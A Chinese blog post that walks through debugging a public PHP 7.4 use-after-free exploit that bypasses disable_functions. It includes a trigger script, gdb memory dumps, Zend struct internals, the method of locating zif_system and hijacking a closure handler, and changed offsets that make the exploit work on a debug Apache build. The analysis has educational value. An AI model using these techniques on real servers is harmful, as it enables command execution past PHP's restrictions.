前言
没什么,想学就学了。
exp:https://github.com/mm0r1/exploits/blob/master/php7-backtrace-bypass/exploit.php
环境
gdb 调试的是 C 层面的代码,而调试 php 又不好看到内存的变化,头疼。看到一个好像调试 cli 模式的 phpdbg,现在用不着,以后再试试。
先开一个 docker 吧:
docker run -id --privileged --name php -p 8080:80 php:7.4.2-apache
修改 /etc/apache2/mods-available/mpm_prefork.conf,减少进程数量:
<IfModule mpm_prefork_module>
StartServers 1
MinSpareServers 0
MaxSpareServers 1
MaxRequestWorkers 1
MaxConnectionsPerChild 0
</IfModule>
这次打算调试一下 apache mod_php,需要重新安装 php,生成可以调试的 libphp.so,所以先安装 apache2-dev(有的源可能装不了,我用的是 debian10 的阿里云源),再重新编译安装 php:
./configure --enable-phpdbg-debug --enable-debug --with-apxs2=/usr/bin/apxs2 CFLAGS="-g3 -gdwarf-4"
记得 make 和 make install,然后我们就能看到 /usr/lib/apache2/modules 下面的 libphp.so 更新了。
结果发现 exp 打不通了,一脸懵。没办法,看看它原本的编译方式再来一遍吧。
./configure --build=x86_64-linux-gnu --with-config-file-path=/usr/local/etc/php --with-config-file-scan-dir=/usr/local/etc/php/conf.d --enable-option-checking=fatal --with-mhash --enable-ftp --enable-mbstring --enable-mysqlnd --with-password-argon2 --with-sodium=shared --with-pdo-sqlite=/usr --with-sqlite3=/usr --with-curl --with-libedit --with-openssl --with-zlib --with-pear --with-libdir=lib/x86_64-linux-gnu --with-apxs2 --disable-cgi build_alias=x86_64-linux-gnu --enable-debug CFLAGS="-g3 -gdwarf-4" --enable-phpdbg-debug
还是打不通 -_- ,看来开了 debug 会导致一些内存上的差异。
再试试 php-fpm,官方镜像打不通,我还是自己动手调试一下吧。
本地 PHP - Cli 调试
本地自己编译安装一个 php7.4.2 的 cli,只加了 –prefix 参数,可以读取到符号表,exp 也能打通。初次调试,我也不知道怎么调试比较好,只能一步步来了。先从 exp 修改一个 UAF 的测试脚本,用来看看这些变量的地址关系:
<?php
pwn("id");
function pwn($cmd) {
global $abc, $helper, $backtrace;
class Vuln {
public $a;
public function __destruct() {
global $backtrace;
unset($this->a);
$backtrace = (new Exception)->getTrace(); # ;)
if(!isset($backtrace[1]['args'])) { # PHP >= 7.4
$backtrace = debug_backtrace();
}
}
}
class Helper {
public $a, $b, $c, $d;
}
function str2ptr(&$str, $p = 0, $s = 8) {
$address = 0;
for($j = $s-1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p+$j]);
}
return $address;
}
function trigger_uaf($arg) {
# str_shuffle prevents opcache string interning
$arg = str_repeat('T', 79);
var_dump($arg);
$vuln = new Vuln();
$vuln->a = $arg;
var_dump($vuln->a);
}
trigger_uaf('x');
$abc = $backtrace[1]['args'][0];
var_dump($abc);
$helper = new Helper;
var_dump($helper);
$helper->b = function ($x) { };
var_dump($helper);
if(strlen($abc) == 79 || strlen($abc) == 0) {
die("UAF failed");
}
}
给 php_var_dump 下断点,我们就能在内存中追踪这些变量了。运行编译好的 sapi 下的 php-cli 程序,我们首先可以看到内存中的 $arg 变量的数据是这样一个结构体:
在源码则是这样定义的:
typedef union _zend_value {
zend_long lval; /* long value */
double dval; /* double value */
zend_refcounted *counted;
zend_string *str;
zend_array *arr;
zend_object *obj;
zend_resource *res;
zend_reference *ref;
zend_ast_ref *ast;
zval *zv;
void *ptr;
zend_class_entry *ce;
zend_function *func;
struct {
uint32_t w1;
uint32_t w2;
} ww;
} zend_value;
struct _zval_struct {
zend_value value; /* value */
union {
struct {
ZEND_ENDIAN_LOHI_3(
zend_uchar type, /* active type */
zend_uchar type_flags,
union {
uint16_t extra; /* not further specified */
} u)
} v;
uint32_t type_info;
} u1;
union {
uint32_t next; /* hash collision chain */
uint32_t cache_slot; /* cache slot (for RECV_INIT) */
uint32_t opline_num; /* opline number (for FAST_CALL) */
uint32_t lineno; /* line number (for ast nodes) */
uint32_t num_args; /* arguments number for EX(This) */
uint32_t fe_pos; /* foreach position */
uint32_t fe_iter_idx; /* foreach iterator index */
uint32_t access_flags; /* class constant access flags */
uint32_t property_guard; /* single property guard */
uint32_t constant_flags; /* constant flags */
uint32_t extra; /* not further specified */
} u2;
};
u2 都是 0,暂且不管;u1 是类型相关的数据,6 代表这是个字符串;value 则是变量值,我们可以看到 string 变量 value 中的每种类型基本都表示同一个地址,也就是说各种变量在底层都是不分家的,只靠 type 来将地址处的数据处理成相应的结构体。换句话说两个不同类型的变量指向同一个地址,就会因为类型不同而取出不同的数据。
$arg 是 string,在底层是一个 zend_string 类型,由类型、长度和值等组成:
在源码中则是这样的:
struct _zend_string {
zend_refcounted_h gc;
zend_ulong h; /* hash value */
size_t len;
char val[1];
};
有趣的一点是,php 的 strlen 函数获取的实际上就是这里的 len:
ZEND_FUNCTION(strlen)
{
zend_string *s;
ZEND_PARSE_PARAMETERS_START(1, 1)
Z_PARAM_STR(s)
ZEND_PARSE_PARAMETERS_END();
RETVAL_LONG(ZSTR_LEN(s));
}
...
#define ZSTR_LEN(zstr) (zstr)->len
而访问字符串则是访问这里的 val 部分,unset 一个字符串则会把前面的 gc 和 h 部分修改,后面的 len 和 val 不会修改,这里我 unset 了一个 66 长度的字符串(Twings * 11)做测试:
<?php
class Helper {
public $a;
}
$s = str_repeat("Twings", 11);
var_dump($s);
unset($s);
$helper = new Helper();
var_dump($helper);
结果:
pwndbg> x/20xg 0x7ffff3e7f070
0x7ffff3e7f070: 0x00007ffff3e7f0e0 0x0000000000000000
0x7ffff3e7f080: 0x0000000000000042 0x775473676e697754
0x7ffff3e7f090: 0x6e69775473676e69 0x73676e6977547367
0x7ffff3e7f0a0: 0x775473676e697754 0x6e69775473676e69
0x7ffff3e7f0b0: 0x73676e6977547367 0x775473676e697754
0x7ffff3e7f0c0: 0x6e69775473676e69 0x0000000000007367
0x7ffff3e7f0d0: 0x0000000000000000 0x0000000000000000
0x7ffff3e7f0e0: 0x00007ffff3e7f150 0x0000000000000000
0x7ffff3e7f0f0: 0x0000000000000000 0x0000000000000000
0x7ffff3e7f100: 0x0000000000000000 0x0000000000000000
因为长度没有对上,所以新的 helper 对象并没有覆盖 unset 掉的 $s 字符串的空间,会存放在更小的堆里面。
这里有个问题,为什么需要一个函数来调用 Vuln 类,还需要再一步引用待释放变量和利用 Vuln 的构析函数?因为BUG报告说,错误需要引用计数为 2,且与构析函数有关。具体的涉及 PHP 底层,这里不深入研究。
我们继续运行脚本,会发现,$vuln->a 跟 $abc 的数据指针都指向了 $arg 的地方。再后面,helper 恰好占用了这个被释放的字符串的位置:
按照源码中的定义:
struct _zend_object {
zend_refcounted_h gc;
uint32_t handle; // TODO: may be removed ???
zend_class_entry *ce;
const zend_object_handlers *handlers;
HashTable *properties;
zval properties_table[1];
};
每个成员要占据 0x10 的地址空间,也就是说如果有更多或者更少成员变量,那么这个对象就不会存放在这个能存放长度 79 的字符串的地方。
这里看起来是一个个固定大小的堆,每个堆的开头会有一个指向下一个堆的指针。helper 对象中有 4 个成员变量,而只有一个赋了值,所以其他三个都是 0x0000003000000030 和 0x0000000000000001 组成的未定义数据,而 b 则是一个 zval 类型的数据:
里面放着匿名函数相关的数据,b 实际上是一个 closure_handlers 对象:
以上就是 exp 中用到的几个主要变量的情况,我们用调试函数拿到的 $abc 实际上跟 $helper 指向同一个地方,而 php 底层还是把 $abc 当作一个字符串来看,所以 strlen 和 [] 访问字符串大概就是这么个情况:
所以在 UAF 正常的情况下,strlen($abc) 应该是一个很大的数字。我们继续往下看 exp:
$closure_handlers = str2ptr($abc, 0);
$php_heap = str2ptr($abc, 0x58);
$abc_addr = $php_heap - 0xc8;
$closure_handlers 其实是 std_object_handlers 的地址,这个暂且不提;php_heap 则是下一个堆的头指针,也就是 0x00007ffff3e7f150;将下一个堆的头指针减去偏移的 0x58 + 一个堆的大小 0x70,就可以回到 $abc 处,即拿到 $abc 的地址:
接下来的四步 write 则是在伪造 a,写完之后:
a 变量变成了指向 0x00007ffff3e7f0e8 处的一个 zval:
pwndbg> p (zval)*0x7ffff3e7f098
$4 = {
value = {
lval = 140737285452008,
dval = 6.9533457830790204e-310,
counted = 0x7ffff3e7f0e8,
str = 0x7ffff3e7f0e8,
arr = 0x7ffff3e7f0e8,
obj = 0x7ffff3e7f0e8,
res = 0x7ffff3e7f0e8,
ref = 0x7ffff3e7f0e8,
ast = 0x7ffff3e7f0e8,
zv = 0x7ffff3e7f0e8,
ptr = 0x7ffff3e7f0e8,
ce = 0x7ffff3e7f0e8,
func = 0x7ffff3e7f0e8,
ww = {
w1 = 4092063976,
w2 = 32767
}
},
u1 = {
v = {
type = 10 '\n',
type_flags = 0 '\000',
u = {
extra = 0
}
},
type_info = 10
},
u2 = {
next = 0,
cache_slot = 0,
opline_num = 0,
lineno = 0,
num_args = 0,
fe_pos = 0,
fe_iter_idx = 0,
access_flags = 0,
property_guard = 0,
constant_flags = 0,
extra = 0
}
}
a 的类型为 10,即 REFERENCE:
struct _zend_reference {
zend_refcounted_h gc;
zval val;
zend_property_info_source_list sources;
};
这个 REFERENCE 有什么用后面再看,我们继续看 exp,closure_obj 其实就是 b 的地址,接下来则是重头戏的泄露地址:
$binary_leak = leak($closure_handlers, 8);
很明显是使用 $closure_handlers 的地址,即 0x00000000011ff820 处的 std_object_handlers 来泄露,写完数据之后 a 是这个样子的:
0x7ffff3e7f0e0: 0x00007ffff3e7f150 0x0000000000000002
0x7ffff3e7f0f0: 0x00000000011ff818 0x0000000000000006
后面三段就是 a 在内存里面的数据,转换成 ref 类型就是:
pwndbg> p *((zval)*0x7ffff3e7f098)->value->ref
$7 = {
gc = {
refcount = 2,
u = {
type_info = 0
}
},
val = {
value = {
lval = 18872344,
dval = 9.3241768268981742e-317,
counted = 0x11ff818,
str = 0x11ff818,
arr = 0x11ff818,
obj = 0x11ff818,
res = 0x11ff818,
ref = 0x11ff818,
ast = 0x11ff818,
zv = 0x11ff818,
ptr = 0x11ff818,
ce = 0x11ff818,
func = 0x11ff818,
ww = {
w1 = 18872344,
w2 = 0
}
},
u1 = {
v = {
type = 6 '\006',
type_flags = 0 '\000',
u = {
extra = 0
}
},
type_info = 6
},
...
}
也就是说,a 这个 REFENCE 实际上指向了 0x11ff818,调用 strlen 就是把 0x11ff818 处的数据当作了 string 来处理,拿到的就是:
也就是 zend_object_std_dtor 的地址,因为 strlen 返回的是指针 + 0x10 地址处的数据,所以 leak 函数泄露的就是 $addr + $p 地址处的数据。然后是 get_binary_base 函数,从 zend_object_std_dtor 往回搜索 ELF 文件的开头,找到了就是程序基地址,一共搜索 0x1000000 的地址,而 zend_object_std_dtor 函数的地址在没有 PIE 的情况下是 0x6d0ac0,所以一般都能找得到。接下来是 parse_elf,看名字是个解析 elf 文件的函数,看不懂,反正 ELF 格式也差不多,就跳过好了。
下面是根据解析 ELF 之后获得的 data 段 address、size 之类的数据获取函数基地址,同样也是搜索,开头是在 data 段前方:
而结束的地方已经过了 bss 段,所以一般也能搜索得到。在 data 段里面可以看到有很多 zend_function_entry 都在这里,zend_function_entry 是 php 底层存储函数的结构体:
typedef struct _zend_function_entry {
const char *fname;
zif_handler handler;
const struct _zend_internal_arg_info *arg_info;
uint32_t num_args;
uint32_t flags;
} zend_function_entry;
fname 是函数名,handler 就是存放在内存里面的函数实现了,所以只要找到 system 函数的 handler 地址,然后用它替换掉 b ,就可以执行系统命令了。zend_function_entry 在内存是这样存放的:
constant 和 bin2hex 就在 basic_functions 附近,所以可以通过搜索这两个函数来定位 basic_functions。同时我们可以看到 basic_functions 是一个函数数组,而 system 函数也位于 basic_functions 内:
}, {
fname = 0xd93688 "exec",
handler = 0x5cf7a0 <zif_exec>,
arg_info = 0x11931e0 <arginfo_exec>,
num_args = 3,
flags = 0
}, {
fname = 0xd9365d "system",
handler = 0x5cf7b0 <zif_system>,
arg_info = 0x1193180 <arginfo_system>,
num_args = 2,
flags = 0
}, {
fname = 0xd93664 "escapeshellcmd",
handler = 0x5cfd60 <zif_escapeshellcmd>,
arg_info = 0x11930e0 <arginfo_escapeshellcmd>,
num_args = 1,
flags = 0
}, {
fname = 0xd93673 "escapeshellarg",
handler = 0x5cfe80 <zif_escapeshellarg>,
arg_info = 0x11930a0 <arginfo_escapeshellarg>,
num_args = 1,
flags = 0
}, {
fname = 0xd8f699 "passthru",
handler = 0x5cf7c0 <zif_passthru>,
arg_info = 0x1193120 <arginfo_passthru>,
num_args = 2,
flags = 0
}, {
fname = 0xd93682 "shell_exec",
handler = 0x5cff70 <zif_shell_exec>,
arg_info = 0x1193060 <arginfo_shell_exec>,
num_args = 1,
flags = 0
}, {
fname = 0xd9368d "proc_open",
handler = 0x626af0 <zif_proc_open>,
arg_info = 0x118fbe0 <arginfo_proc_open>,
num_args = 6,
flags = 0
}, {
所以同样地从 basic_functions 往后搜索,我们就能拿到 system 函数的地址了。
接下来我们就要把 system 函数写到 b 上面。因为下个空块已经用来泄露地址了,所以 exp 的做法是在下下个空块直接伪造一个新的对象,首先把整个 b 复制过去,b 的定义如下:
typedef struct _zend_closure {
zend_object std;
zend_function func;
zval this_ptr;
zend_class_entry *called_scope;
zif_handler orig_internal_handler;
} zend_closure;
长度可以在 gdb 里面计算出来,为 0x130。然后 system 函数地址要填在哪里呢?
exp 是覆盖了 func->internal_function.handler,我们在源码里搜索也能看到 zend 里面有大量调用这个函数的地方,internal_function 是个这样的结构体:
typedef struct _zend_internal_function {
/* Common elements */
zend_uchar type;
zend_uchar arg_flags[3]; /* bitset of arg_info.pass_by_reference */
uint32_t fn_flags;
zend_string* function_name;
zend_class_entry *scope;
zend_function *prototype;
uint32_t num_args;
uint32_t required_num_args;
zend_internal_arg_info *arg_info;
/* END of common elements */
zif_handler handler;
struct _zend_module_entry *module;
void *reserved[ZEND_MAX_RESERVED_RESOURCES];
} zend_internal_function;
可以看到跟参数有关的几个数据:num_args、required_num_args、*arg_info,handler 则是调用的函数。一般情况下 type 为 2,代表是用户函数,而 handler 则是一个无法访问的地址(在 7.2.11 好像是正常的地址),exp 将 type 修改为 1 代表内部函数,再将 system 地址写到 handler 上面之后,php 就会通过 ZEND_DO_FCALL_SPEC_RETVAL_UNUSED_HANDLER 调用它,最后调用的就是 php 自己实现的 system 函数。具体的执行流程涉及底层 zend 虚拟机、op 之类的东西,我不懂就不研究了。
调试开启 debug 的 apache mod_php
漏洞算是调通了,现在试试调一下之前调不通的情况,到 write($abc, 0x10, $abc_addr + 0x60); 这一步的时候,问题已经很明显了:
pwndbg> x/40xg 0x7fae5bc68000
0x7fae5bc68000: 0x0000001800000001 0x0000000000000000
0x7fae5bc68010: 0x00007fae5bc023d8 0x00007fae5b77cec0
0x7fae5bc68020: 0x0000000000000000 0xffffffffffffff98
0x7fae5bc68030: 0x000000000000000a 0x00007fae5bc74c00
0x7fae5bc68040: 0x0000000000000308 0x00007ffdf2695d60
0x7fae5bc68050: 0x0000000000000001 0x00007ffdf2695d60
0x7fae5bc68060: 0x0000000000000001 0x0000000000000000
0x7fae5bc68070: 0x0000000000000000 0x0000000000000002
0x7fae5bc68080: 0x0000000000000068 0x0000000000000006
0x7fae5bc68090: 0x0000000000000000 0x00000000000000c4
0x7fae5bc680a0: 0x00007fae5bc5e100 0x00007fae5bc81f80
0x7fae5bc680b0: 0x00007fae5bc5e140 0x00007fae5bc82730
0x7fae5bc680c0: 0x00007fae5bc58e10 0x00007fae5bc58e60
0x7fae5bc680d0: 0x00007fae5bc58eb0 0x00007fae5bc82050
0x7fae5bc680e0: 0x00007fae5bc58a50 0x00007fae5bc5eac0
0x7fae5bc680f0: 0x00007fae5bc804c0 0x00007fae5bc58b40
0x7fae5bc68100: 0x00007fae5bc823c0 0x00007fae5bc82550
0x7fae5bc68110: 0x0000555ef2e0eeb0 0x0000000000000000
0x7fae5bc68120: 0x0000000000000078 0x00007fae5b627628
0x7fae5bc68130: 0x0000000000000000 0x0000000000000376
exp 不通的原因就是现在内存分配方式跟之前不同了,新建的 helper 对象并没有分配到堆链里面,也就找不到每个堆的头指针,所以计算 $abc 地址的时候就会出错,变成 0x0 - 0xc8,a 指向的 $abc_addr + 0x60 就变成了一个超出范围的地址 0xffffffffffffff98,导致了程序崩溃。
所以我们需要换一个方式来计算 $abc 地址,我们往下看,可以看到下面有大小为 0xa0 的堆块:
所以我们修改一下 php_heap 和 abc_addr 的计算方式:
$php_heap = str2ptr($abc, 0x1c8);
$abc_addr = $php_heap - 0x1c8 - 0xa0;
然后再测试:
exp 没问题,能打通了,good。
php-fpm
php-fpm 不加 debug 都打不通,加上 debug 调试一番,好像解析 ELF 出了问题,找不到头,不懂。
要用的时候查看版本和编译参数,然后直接通过偏移来算好了。
Orz
本博客所有文章除特别声明外,均采用 CC BY-SA 3.0协议 。转载请注明出处!